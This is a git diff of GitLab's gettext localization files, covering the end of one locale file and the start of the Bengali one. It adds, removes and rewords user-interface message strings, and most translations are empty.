@@ -26803,6 +27414,9 @@ msgstr "СтойноÑтта, коÑто Ñе намира в Ñредата нÐ
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
+msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -26890,6 +27504,9 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
+msgid "There are running deployments on the environment. Please retry later."
+msgstr ""
+
msgid "There is a limit of %{ci_project_subscriptions_limit} subscriptions from or to a project."
msgstr ""
@@ -27205,9 +27822,6 @@ msgstr ""
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
-msgid "This commit was signed with a <strong>verified</strong> signature and the committer email is verified to belong to the same user."
-msgstr ""
-
msgid "This commit was signed with a different user's verified signature."
msgstr ""
@@ -27217,9 +27831,6 @@ msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
-msgid "This commit was signed with an <strong>unverified</strong> signature."
-msgstr ""
-
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -27262,6 +27873,9 @@ msgstr ""
msgid "This environment is being re-deployed"
msgstr ""
+msgid "This environment's canary ingress has been updated recently. Please retry later."
+msgstr ""
+
msgid "This epic already has the maximum number of child epics."
msgstr ""
@@ -27325,7 +27939,7 @@ msgstr ""
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
-msgid "This is the number of currently active users on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgid "This is the number of %{billable_users_link_start}billable users%{link_end} on your installation, and this is the minimum number you need to purchase when you renew your license."
msgstr ""
msgid "This is your current session"
@@ -27334,9 +27948,6 @@ msgstr ""
msgid "This issue is currently blocked by the following issues:"
msgstr ""
-msgid "This issue is currently blocked by the following issues: %{issues}."
-msgstr ""
-
msgid "This issue is in a child epic of the filtered epic"
msgstr ""
@@ -27451,7 +28062,7 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a work in progress."
+msgid "This merge request is still a draft."
msgstr ""
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
@@ -27472,9 +28083,6 @@ msgstr ""
msgid "This page sends a payload. Go back to the events page to see a newly created event."
msgstr ""
-msgid "This pipeline does not use the %{codeStart}needs%{codeEnd} keyword and can't be represented as a directed acyclic graph."
-msgstr ""
-
msgid "This pipeline makes use of a predefined CI/CD configuration enabled by %{b_open}Auto DevOps.%{b_close}"
msgstr ""
@@ -27553,6 +28161,9 @@ msgstr ""
msgid "This user cannot be unlocked manually from GitLab"
msgstr ""
+msgid "This user does not have a pending request"
+msgstr ""
+
msgid "This user has no active %{type}."
msgstr ""
@@ -27598,6 +28209,9 @@ msgstr ""
msgid "Threat Monitoring"
msgstr ""
+msgid "ThreatMonitoring|Alerts"
+msgstr ""
+
msgid "ThreatMonitoring|All Environments"
msgstr ""
@@ -27898,6 +28512,9 @@ msgstr ""
msgid "Timeout connecting to the Google API. Please try again."
msgstr ""
+msgid "Timezone"
+msgstr ""
+
msgid "Time|hr"
msgid_plural "Time|hrs"
msgstr[0] "чаÑ"
@@ -27914,6 +28531,9 @@ msgstr "Ñек"
msgid "Tip:"
msgstr ""
+msgid "Tip: add a"
+msgstr ""
+
msgid "Title"
msgstr ""
@@ -28049,7 +28669,7 @@ msgstr ""
msgid "To use Gitpod you must first enable the feature in the integrations section of your %{user_prefs}."
msgstr ""
-msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
+msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
@@ -28148,6 +28768,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "Too many users specified (limit is %{user_limit})"
+msgstr ""
+
msgid "Too much data"
msgstr ""
@@ -28490,6 +29113,9 @@ msgstr ""
msgid "Unable to convert Kubernetes logs encoding to UTF-8"
msgstr ""
+msgid "Unable to create link to vulnerability"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -28556,7 +29182,7 @@ msgstr ""
msgid "Unassigned"
msgstr ""
-msgid "Unblock"
+msgid "Unauthenticated request rate limit"
msgstr ""
msgid "Undo"
@@ -28628,10 +29254,10 @@ msgstr ""
msgid "Unlocks the discussion."
msgstr ""
-msgid "Unmarked this %{noun} as Work In Progress."
+msgid "Unmarked this %{noun} as a draft."
msgstr ""
-msgid "Unmarks this %{noun} as Work In Progress."
+msgid "Unmarks this %{noun} as a draft."
msgstr ""
msgid "Unreachable"
@@ -28826,9 +29452,6 @@ msgstr ""
msgid "Upgrade your plan to improve Merge Requests."
msgstr ""
-msgid "Upload %{code_open}GoogleCodeProjectHosting.json%{code_close} here:"
-msgstr ""
-
msgid "Upload CSV file"
msgstr ""
@@ -28847,6 +29470,9 @@ msgstr ""
msgid "Upload a private key for your certificate"
msgstr ""
+msgid "Upload an image"
+msgstr ""
+
msgid "Upload file"
msgstr "Качване на файл"
@@ -28883,6 +29509,9 @@ msgstr ""
msgid "Usage"
msgstr ""
+msgid "Usage Trends"
+msgstr ""
+
msgid "Usage ping is off"
msgstr ""
@@ -28973,6 +29602,9 @@ msgstr ""
msgid "UsageQuota|Unlimited"
msgstr ""
+msgid "UsageQuota|Uploads"
+msgstr ""
+
msgid "UsageQuota|Usage"
msgstr ""
@@ -29120,6 +29752,12 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} (Busy)"
+msgstr ""
+
+msgid "UserAvailability|(Busy)"
+msgstr ""
+
msgid "UserLists|Add"
msgstr ""
@@ -29177,6 +29815,9 @@ msgstr ""
msgid "UserList|created %{timeago}"
msgstr ""
+msgid "UserProfile|(Busy)"
+msgstr ""
+
msgid "UserProfile|Activity"
msgstr ""
@@ -29222,6 +29863,9 @@ msgstr ""
msgid "UserProfile|Report abuse"
msgstr ""
+msgid "UserProfile|Retry"
+msgstr ""
+
msgid "UserProfile|Snippets"
msgstr ""
@@ -29252,6 +29896,9 @@ msgstr ""
msgid "UserProfile|This user is blocked"
msgstr ""
+msgid "UserProfile|Unconfirmed user"
+msgstr ""
+
msgid "UserProfile|View all"
msgstr ""
@@ -29288,6 +29935,9 @@ msgstr ""
msgid "Username or email"
msgstr ""
+msgid "Username: %{username}"
+msgstr ""
+
msgid "Users"
msgstr ""
@@ -29330,15 +29980,15 @@ msgstr ""
msgid "UsersSelect|Unassigned"
msgstr ""
-msgid "Using %{codeStart}needs%{codeEnd} allows jobs to run before their stage is reached, as soon as their individual dependencies are met, which speeds up your pipelines."
-msgstr ""
-
msgid "Using %{code_start}::%{code_end} denotes a %{link_start}scoped label set%{link_end}"
msgstr ""
msgid "Using required encryption strategy when encrypted field is missing!"
msgstr ""
+msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
+msgstr ""
+
msgid "Valid from"
msgstr ""
@@ -29408,7 +30058,7 @@ msgstr ""
msgid "Various settings that affect GitLab performance."
msgstr ""
-msgid "Verification capacity"
+msgid "Verification concurrency limit"
msgstr ""
msgid "Verification information"
@@ -29487,6 +30137,9 @@ msgstr ""
msgid "View file @ %{commitSha}"
msgstr ""
+msgid "View file @%{commit_sha}"
+msgstr ""
+
msgid "View full dashboard"
msgstr ""
@@ -29544,6 +30197,9 @@ msgstr ""
msgid "View replaced file @ "
msgstr ""
+msgid "View setting"
+msgstr ""
+
msgid "View supported languages and frameworks"
msgstr ""
@@ -29637,9 +30293,6 @@ msgstr ""
msgid "VisualReviewApp|Steps 1 and 2 (and sometimes 3) are performed once by the developer before requesting feedback. Steps 3 (if necessary), 4 is performed by the reviewer each time they perform a review."
msgstr ""
-msgid "Visualization"
-msgstr ""
-
msgid "Vulnerabilities"
msgstr ""
@@ -29745,6 +30398,12 @@ msgstr ""
msgid "Vulnerability|Activity"
msgstr ""
+msgid "Vulnerability|Actual received response is the one received when this fault was detected"
+msgstr ""
+
+msgid "Vulnerability|Additional Info"
+msgstr ""
+
msgid "Vulnerability|Class"
msgstr ""
@@ -29793,10 +30452,7 @@ msgstr ""
msgid "Vulnerability|Project"
msgstr ""
-msgid "Vulnerability|Request"
-msgstr ""
-
-msgid "Vulnerability|Response"
+msgid "Vulnerability|Request/Response"
msgstr ""
msgid "Vulnerability|Scanner"
@@ -29811,6 +30467,9 @@ msgstr ""
msgid "Vulnerability|Status"
msgstr ""
+msgid "Vulnerability|The unmodified response is the original response that had no mutations done to the request"
+msgstr ""
+
msgid "Wait for the file to load to copy its contents"
msgstr ""
@@ -29835,6 +30494,9 @@ msgstr ""
msgid "We are currently unable to fetch data for this graph."
msgstr ""
+msgid "We are currently unable to fetch data for this pipeline."
+msgstr ""
+
msgid "We could not determine the path to remove the epic"
msgstr ""
@@ -29964,6 +30626,9 @@ msgstr ""
msgid "Webhooks|Push events"
msgstr ""
+msgid "Webhooks|Releases events"
+msgstr ""
+
msgid "Webhooks|SSL verification"
msgstr ""
@@ -29979,6 +30644,9 @@ msgstr ""
msgid "Webhooks|This URL is triggered when a feature flag is turned on or off"
msgstr ""
+msgid "Webhooks|This URL is triggered when a release is created/updated"
+msgstr ""
+
msgid "Webhooks|This URL will be triggered by a push to the repository"
msgstr ""
@@ -30060,12 +30728,18 @@ msgstr ""
msgid "What is squashing?"
msgstr ""
+msgid "What is your job title? (optional)"
+msgstr ""
+
msgid "What's new at GitLab"
msgstr ""
msgid "What’s your experience level?"
msgstr ""
+msgid "When Kroki is enabled, GitLab sends diagrams to an instance of Kroki to display them as images. You can use the free public cloud instance %{kroki_public_url} or you can %{install_link} on your own infrastructure. Once you've installed Kroki, make sure to update the server URL to point to your instance."
+msgstr ""
+
msgid "When a deployment job is successful, skip older deployment jobs that are still pending"
msgstr ""
@@ -30122,7 +30796,13 @@ msgstr ""
msgid "Wiki"
msgstr ""
-msgid "Wiki was successfully updated."
+msgid "Wiki page was successfully created."
+msgstr ""
+
+msgid "Wiki page was successfully deleted."
+msgstr ""
+
+msgid "Wiki page was successfully updated."
msgstr ""
msgid "WikiClone|Clone your wiki"
@@ -30278,6 +30958,9 @@ msgstr ""
msgid "Wiki|Pages"
msgstr ""
+msgid "Wiki|The sidebar failed to load. You can reload the page to try again."
+msgstr ""
+
msgid "Wiki|Title"
msgstr ""
@@ -30359,9 +31042,6 @@ msgstr ""
msgid "Yes, delete project"
msgstr ""
-msgid "Yes, let me map Google Code users to full names or GitLab users."
-msgstr ""
-
msgid "Yesterday"
msgstr ""
@@ -30371,6 +31051,9 @@ msgstr ""
msgid "You already have pending todo for this alert"
msgstr ""
+msgid "You are about to add %{usersTag} people to the discussion. They will all receive a notification."
+msgstr ""
+
msgid "You are about to delete %{domain} from your instance. This domain will no longer be available to any Knative application."
msgstr ""
@@ -30416,6 +31099,9 @@ msgstr ""
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
+msgid "You are not allowed to reject a user"
+msgstr ""
+
msgid "You are not allowed to unlink your primary login account"
msgstr ""
@@ -30575,6 +31261,9 @@ msgstr ""
msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
msgstr ""
+msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
+msgstr ""
+
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
@@ -30617,6 +31306,9 @@ msgstr ""
msgid "You do not have permission to run the Web Terminal. Please contact a project administrator."
msgstr ""
+msgid "You do not have permission to update the environment."
+msgstr ""
+
msgid "You do not have permissions to run the import."
msgstr ""
@@ -30695,6 +31387,12 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an on-call schedule for this project"
+msgstr ""
+
+msgid "You have insufficient permissions to remove an on-call schedule from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
@@ -30779,9 +31477,6 @@ msgstr ""
msgid "You need to upload a GitLab project export archive (ending in .gz)."
msgstr ""
-msgid "You need to upload a Google Takeout archive."
-msgstr ""
-
msgid "You successfully declined the invitation"
msgstr ""
@@ -30824,13 +31519,10 @@ msgstr "Ще получавате извеÑÑ‚Ð¸Ñ Ñамо за коментаÑ
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push project code via %{protocol} until you %{set_password_link} on your account"
-msgstr "ÐÑма да можете да изтеглÑте или изпращате код в проекта чрез %{protocol}, докато не %{set_password_link} за акаунта Ñи"
-
-msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
msgstr ""
-msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
msgid "You'll be signed out from your current account automatically."
@@ -30860,9 +31552,6 @@ msgstr ""
msgid "You're not allowed to make changes to this project directly. A fork of this project is being created that you can make changes in, so you can submit a merge request."
msgstr ""
-msgid "You're only seeing %{startTag}other activity%{endTag} in the feed. To add a comment, switch to one of the following options."
-msgstr ""
-
msgid "You're receiving this email because of your account on %{host}."
msgstr ""
@@ -30881,6 +31570,9 @@ msgstr ""
msgid "You've already enabled two-factor authentication using one time password authenticators. In order to register a different device, you must first disable two-factor authentication."
msgstr ""
+msgid "You've rejected %{user}"
+msgstr ""
+
msgid "YouTube"
msgstr ""
@@ -30905,6 +31597,9 @@ msgstr ""
msgid "Your CSV export of %{written_count} from project %{project_name} (%{project_url}) has been added to this email as an attachment."
msgstr ""
+msgid "Your CSV import for project"
+msgstr ""
+
msgid "Your Commit Email will be used for web based operations, such as edits and merges."
msgstr ""
@@ -30917,6 +31612,9 @@ msgstr ""
msgid "Your GPG keys (%{count})"
msgstr ""
+msgid "Your GitLab account request has been approved!"
+msgstr ""
+
msgid "Your GitLab group"
msgstr ""
@@ -31058,6 +31756,9 @@ msgstr ""
msgid "Your issues will be imported in the background. Once finished, you'll get a confirmation email."
msgstr ""
+msgid "Your license does not support on-call schedules"
+msgstr ""
+
msgid "Your license is valid from"
msgstr ""
@@ -31106,6 +31807,12 @@ msgstr ""
msgid "Your request for access has been queued for review."
msgstr ""
+msgid "Your request to join %{host} has been rejected."
+msgstr ""
+
+msgid "Your requirements are being imported. Once finished, you'll receive a confirmation email."
+msgstr ""
+
msgid "Your response has been recorded."
msgstr ""
@@ -31115,6 +31822,9 @@ msgstr ""
msgid "Your search didn't match any commits. Try a different query."
msgstr ""
+msgid "Your sign-in page is %{url}."
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -31124,6 +31834,9 @@ msgstr ""
msgid "Your subscription will expire in %{remaining_days}."
msgstr ""
+msgid "Your username is %{username}."
+msgstr ""
+
msgid "Zoom meeting added"
msgstr ""
@@ -31294,13 +32007,10 @@ msgstr ""
msgid "ciReport|%{sameNum} same"
msgstr ""
-msgid "ciReport|(errors when loading results)"
-msgstr ""
-
-msgid "ciReport|(is loading)"
+msgid "ciReport|: Loading resulted in an error"
msgstr ""
-msgid "ciReport|(is loading, errors when loading results)"
+msgid "ciReport|API Fuzzing"
msgstr ""
msgid "ciReport|All projects"
@@ -31467,6 +32177,12 @@ msgstr[1] ""
msgid "ciReport|View full report"
msgstr ""
+msgid "ciReport|is loading"
+msgstr ""
+
+msgid "ciReport|is loading, errors when loading results"
+msgstr ""
+
msgid "closed issue"
msgstr ""
@@ -31485,9 +32201,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "connecting"
-msgstr ""
-
msgid "container_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -31503,9 +32216,6 @@ msgstr ""
msgid "created %{timeAgo}"
msgstr ""
-msgid "customize"
-msgstr ""
-
msgid "data"
msgstr ""
@@ -31544,9 +32254,6 @@ msgstr ""
msgid "does not have a supported extension. Only %{extension_list} are supported"
msgstr ""
-msgid "done"
-msgstr ""
-
msgid "download it"
msgstr ""
@@ -31635,6 +32342,9 @@ msgstr ""
msgid "for this project"
msgstr ""
+msgid "fork"
+msgstr ""
+
msgid "fork this project"
msgstr ""
@@ -31661,6 +32371,9 @@ msgstr ""
msgid "has already been taken"
msgstr ""
+msgid "has been completed."
+msgstr ""
+
msgid "help"
msgstr ""
@@ -31682,7 +32395,7 @@ msgstr ""
msgid "import flow"
msgstr ""
-msgid "importing"
+msgid "in"
msgstr ""
msgid "in group %{link_to_group}"
@@ -32211,6 +32924,9 @@ msgstr ""
msgid "no one can merge"
msgstr ""
+msgid "no scopes selected"
+msgstr ""
+
msgid "none"
msgstr ""
@@ -32238,6 +32954,9 @@ msgstr ""
msgid "open issue"
msgstr ""
+msgid "opened %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
msgid "opened %{timeAgoString} by %{user}"
msgstr ""
@@ -32250,6 +32969,9 @@ msgstr ""
msgid "or"
msgstr ""
+msgid "originating vulnerability"
+msgstr ""
+
msgid "out of %d total test"
msgid_plural "out of %d total tests"
msgstr[0] ""
@@ -32327,6 +33049,9 @@ msgstr ""
msgid "project members"
msgstr ""
+msgid "project name"
+msgstr ""
+
msgid "projects"
msgstr ""
@@ -32380,6 +33105,9 @@ msgstr ""
msgid "security Reports|There was an error creating the merge request"
msgstr ""
+msgid "severity|Blocker"
+msgstr ""
+
msgid "severity|Critical"
msgstr ""
@@ -32392,9 +33120,15 @@ msgstr ""
msgid "severity|Low"
msgstr ""
+msgid "severity|Major"
+msgstr ""
+
msgid "severity|Medium"
msgstr ""
+msgid "severity|Minor"
+msgstr ""
+
msgid "severity|None"
msgstr ""
@@ -32443,9 +33177,6 @@ msgstr ""
msgid "ssh:"
msgstr ""
-msgid "started"
-msgstr ""
-
msgid "started a discussion on %{design_link}"
msgstr ""
@@ -32476,10 +33207,10 @@ msgstr ""
msgid "suggestPipeline|We’re adding a GitLab CI configuration file to add a pipeline to the project. You could create it manually, but we recommend that you start with a GitLab template that works out of the box."
msgstr ""
-msgid "syntax is correct"
+msgid "syntax is correct."
msgstr ""
-msgid "syntax is incorrect"
+msgid "syntax is incorrect."
msgstr ""
msgid "tag name"
@@ -32488,6 +33219,9 @@ msgstr ""
msgid "teammate%{number}@company.com"
msgstr ""
+msgid "the correct format."
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -32497,6 +33231,9 @@ msgstr ""
msgid "time summary"
msgstr ""
+msgid "to automatically add approvers based on file paths and file types."
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -32569,6 +33306,11 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "vulnerability"
+msgid_plural "vulnerabilities"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "vulnerability|Add a comment"
msgstr ""
diff --git a/locale/bn_BD/gitlab.po b/locale/bn_BD/gitlab.po
index ba498acb24e..a59575c4e99 100644
--- a/locale/bn_BD/gitlab.po
+++ b/locale/bn_BD/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: bn\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-11-03 22:41\n"
+"PO-Revision-Date: 2020-12-03 08:09\n"
-msgid " %{project_name}#%{issue_iid} &middot; opened %{issue_created} by %{author}"
+msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author}"
msgstr ""
msgid " %{start} to %{end}"
@@ -82,6 +82,11 @@ msgid_plural "%d Approvals"
msgstr[0] ""
msgstr[1] ""
+msgid "%d Other"
+msgid_plural "%d Others"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d Package"
msgid_plural "%d Packages"
msgstr[0] ""
@@ -165,13 +170,13 @@ msgid_plural "%d days"
msgstr[0] ""
msgstr[1] ""
-msgid "%d day until tags are automatically removed"
-msgid_plural "%d days until tags are automatically removed"
+msgid "%d error"
+msgid_plural "%d errors"
msgstr[0] ""
msgstr[1] ""
-msgid "%d error"
-msgid_plural "%d errors"
+msgid "%d error found:"
+msgid_plural "%d errors found:"
msgstr[0] ""
msgstr[1] ""
@@ -351,22 +356,13 @@ msgstr ""
msgid "%{address} is an invalid IP address range"
msgstr ""
-msgid "%{author_link} wrote:"
+msgid "%{anchorOpen}Learn more%{anchorClose} about how you can customize / disable registration on your instance."
msgstr ""
-msgid "%{authorsName}'s thread"
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"@johnsmith\"%{code_close} will add \"By %{link_open}@johnsmith%{link_close}\" to all issues and comments originally created by johnsmith@example.com, and will set %{link_open}@johnsmith%{link_close} as the assignee on all issues originally assigned to johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"John Smith\"%{code_close} will add \"By John Smith\" to all issues and comments originally created by johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsm...@example.com\"%{code_close} will add \"By johnsm...@example.com\" to all issues and comments originally created by johnsmith@example.com. The email address or username is masked to ensure the user's privacy."
+msgid "%{author_link} wrote:"
msgstr ""
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsmith@example.com\"%{code_close} will add \"By %{link_open}johnsmith@example.com%{link_close}\" to all issues and comments originally created by johnsmith@example.com. By default, the email address or username is masked to ensure the user's privacy. Use this option if you want to show the full email address."
+msgid "%{authorsName}'s thread"
msgstr ""
msgid "%{code_open}Masked%{code_close} variables are hidden in job logs (though they must match certain regexp requirements to do so)."
@@ -445,6 +441,9 @@ msgstr ""
msgid "%{count} total weight"
msgstr ""
+msgid "%{criticalStart}%{critical} Critical%{criticalEnd} %{highStart}%{high} High%{highEnd} and %{otherStart}%{otherMessage}%{otherEnd}"
+msgstr ""
+
msgid "%{dashboard_path} could not be found."
msgstr ""
@@ -517,21 +516,27 @@ msgstr ""
msgid "%{host} sign-in from new location"
msgstr ""
-msgid "%{icon}You are about to add %{usersTag} people to the discussion. They will all receive a notification."
-msgstr ""
-
msgid "%{integrations_link_start}Integrations%{link_end} enable you to make third-party applications part of your GitLab workflow. If the available integrations don't meet your needs, consider using a %{webhooks_link_start}webhook%{link_end}."
msgstr ""
msgid "%{issuableType} will be removed! Are you sure?"
msgstr ""
+msgid "%{issueType} actions"
+msgstr ""
+
msgid "%{issuesCount} issues with a limit of %{maxIssueCount}"
msgstr ""
msgid "%{issuesSize} with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
+msgstr ""
+
+msgid "%{labelStart}Assert:%{labelEnd} %{assertion}"
+msgstr ""
+
msgid "%{labelStart}Class:%{labelEnd} %{class}"
msgstr ""
@@ -547,9 +552,6 @@ msgstr ""
msgid "%{labelStart}File:%{labelEnd} %{file}"
msgstr ""
-msgid "%{labelStart}Headers:%{labelEnd} %{headers}"
-msgstr ""
-
msgid "%{labelStart}Image:%{labelEnd} %{image}"
msgstr ""
@@ -565,13 +567,13 @@ msgstr ""
msgid "%{labelStart}Scanner:%{labelEnd} %{scanner}"
msgstr ""
-msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
+msgid "%{labelStart}Sent request:%{labelEnd} %{headers}"
msgstr ""
-msgid "%{labelStart}Status:%{labelEnd} %{status}"
+msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
msgstr ""
-msgid "%{labelStart}URL:%{labelEnd} %{url}"
+msgid "%{labelStart}Unmodified response:%{labelEnd} %{headers}"
msgstr ""
msgid "%{label_for_message} unavailable"
@@ -604,9 +606,6 @@ msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
msgstr ""
-msgid "%{loadingIcon} Started"
-msgstr ""
-
msgid "%{location} is missing required keys: %{keys}"
msgstr ""
@@ -707,34 +706,13 @@ msgstr[1] ""
msgid "%{remaining_approvals} left"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
+msgid "%{reportType} %{status}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities."
+msgid "%{reportType} detected %{totalStart}%{total}%{totalEnd} potential %{vulnMessage}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected %{other} vulnerability."
-msgid_plural "%{reportType} %{status} detected %{other} vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected no vulnerabilities."
+msgid "%{reportType} detected %{totalStart}no%{totalEnd} vulnerabilities."
msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
@@ -792,6 +770,9 @@ msgstr ""
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
+msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
+msgstr ""
+
msgid "%{strong_start}%{branch_count}%{strong_end} Branch"
msgid_plural "%{strong_start}%{branch_count}%{strong_end} Branches"
msgstr[0] ""
@@ -889,6 +870,9 @@ msgstr ""
msgid "%{user_name} profile page"
msgstr ""
+msgid "%{username} has asked for a GitLab account on your instance %{host}:"
+msgstr ""
+
msgid "%{username}'s avatar"
msgstr ""
@@ -907,12 +891,6 @@ msgstr ""
msgid "&lt; 1 hour"
msgstr ""
-msgid "&lt;no scopes selected&gt;"
-msgstr ""
-
-msgid "&lt;project name&gt;"
-msgstr ""
-
msgid "'%{data}' at %{location} does not match format: %{format}"
msgstr ""
@@ -1506,9 +1484,6 @@ msgstr ""
msgid "Actions"
msgstr ""
-msgid "Activate"
-msgstr ""
-
msgid "Activate Service Desk"
msgstr ""
@@ -1856,9 +1831,15 @@ msgstr ""
msgid "Admin notes"
msgstr ""
+msgid "AdminArea|%{billable_users_link_start}Learn more%{billable_users_link_end} about what defines a billable user"
+msgstr ""
+
msgid "AdminArea|Active users"
msgstr ""
+msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
+msgstr ""
+
msgid "AdminArea|Billable users"
msgstr ""
@@ -2081,6 +2062,15 @@ msgstr ""
msgid "AdminUsers|Access the API"
msgstr ""
+msgid "AdminUsers|Activate"
+msgstr ""
+
+msgid "AdminUsers|Activate user"
+msgstr ""
+
+msgid "AdminUsers|Activate user %{username}?"
+msgstr ""
+
msgid "AdminUsers|Active"
msgstr ""
@@ -2129,16 +2119,19 @@ msgstr ""
msgid "AdminUsers|Blocking user has the following effects:"
msgstr ""
+msgid "AdminUsers|Cannot sign in or access instance information"
+msgstr ""
+
msgid "AdminUsers|Cannot unblock LDAP blocked users"
msgstr ""
msgid "AdminUsers|Deactivate"
msgstr ""
-msgid "AdminUsers|Deactivate User %{username}?"
+msgid "AdminUsers|Deactivate user"
msgstr ""
-msgid "AdminUsers|Deactivate user"
+msgid "AdminUsers|Deactivate user %{username}?"
msgstr ""
msgid "AdminUsers|Deactivated"
@@ -2165,6 +2158,9 @@ msgstr ""
msgid "AdminUsers|External users cannot see internal or private projects unless access is explicitly granted. Also, external users cannot create projects, groups, or personal snippets."
msgstr ""
+msgid "AdminUsers|For more information, please refer to the %{link_start}user account deletion documentation.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Is using seat"
msgstr ""
@@ -2201,6 +2197,15 @@ msgstr ""
msgid "AdminUsers|Regular users have access to their groups and projects"
msgstr ""
+msgid "AdminUsers|Reject"
+msgstr ""
+
+msgid "AdminUsers|Reject request"
+msgstr ""
+
+msgid "AdminUsers|Rejected users:"
+msgstr ""
+
msgid "AdminUsers|Restore user access to the account, including web, Git and API."
msgstr ""
@@ -2240,6 +2245,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unblock"
+msgstr ""
+
+msgid "AdminUsers|Unblock user"
+msgstr ""
+
+msgid "AdminUsers|Unblock user %{username}?"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2249,6 +2263,9 @@ msgstr ""
msgid "AdminUsers|When the user logs back in, their account will reactivate as a fully active account"
msgstr ""
+msgid "AdminUsers|Will be deleted"
+msgstr ""
+
msgid "AdminUsers|Without projects"
msgstr ""
@@ -2258,6 +2275,15 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
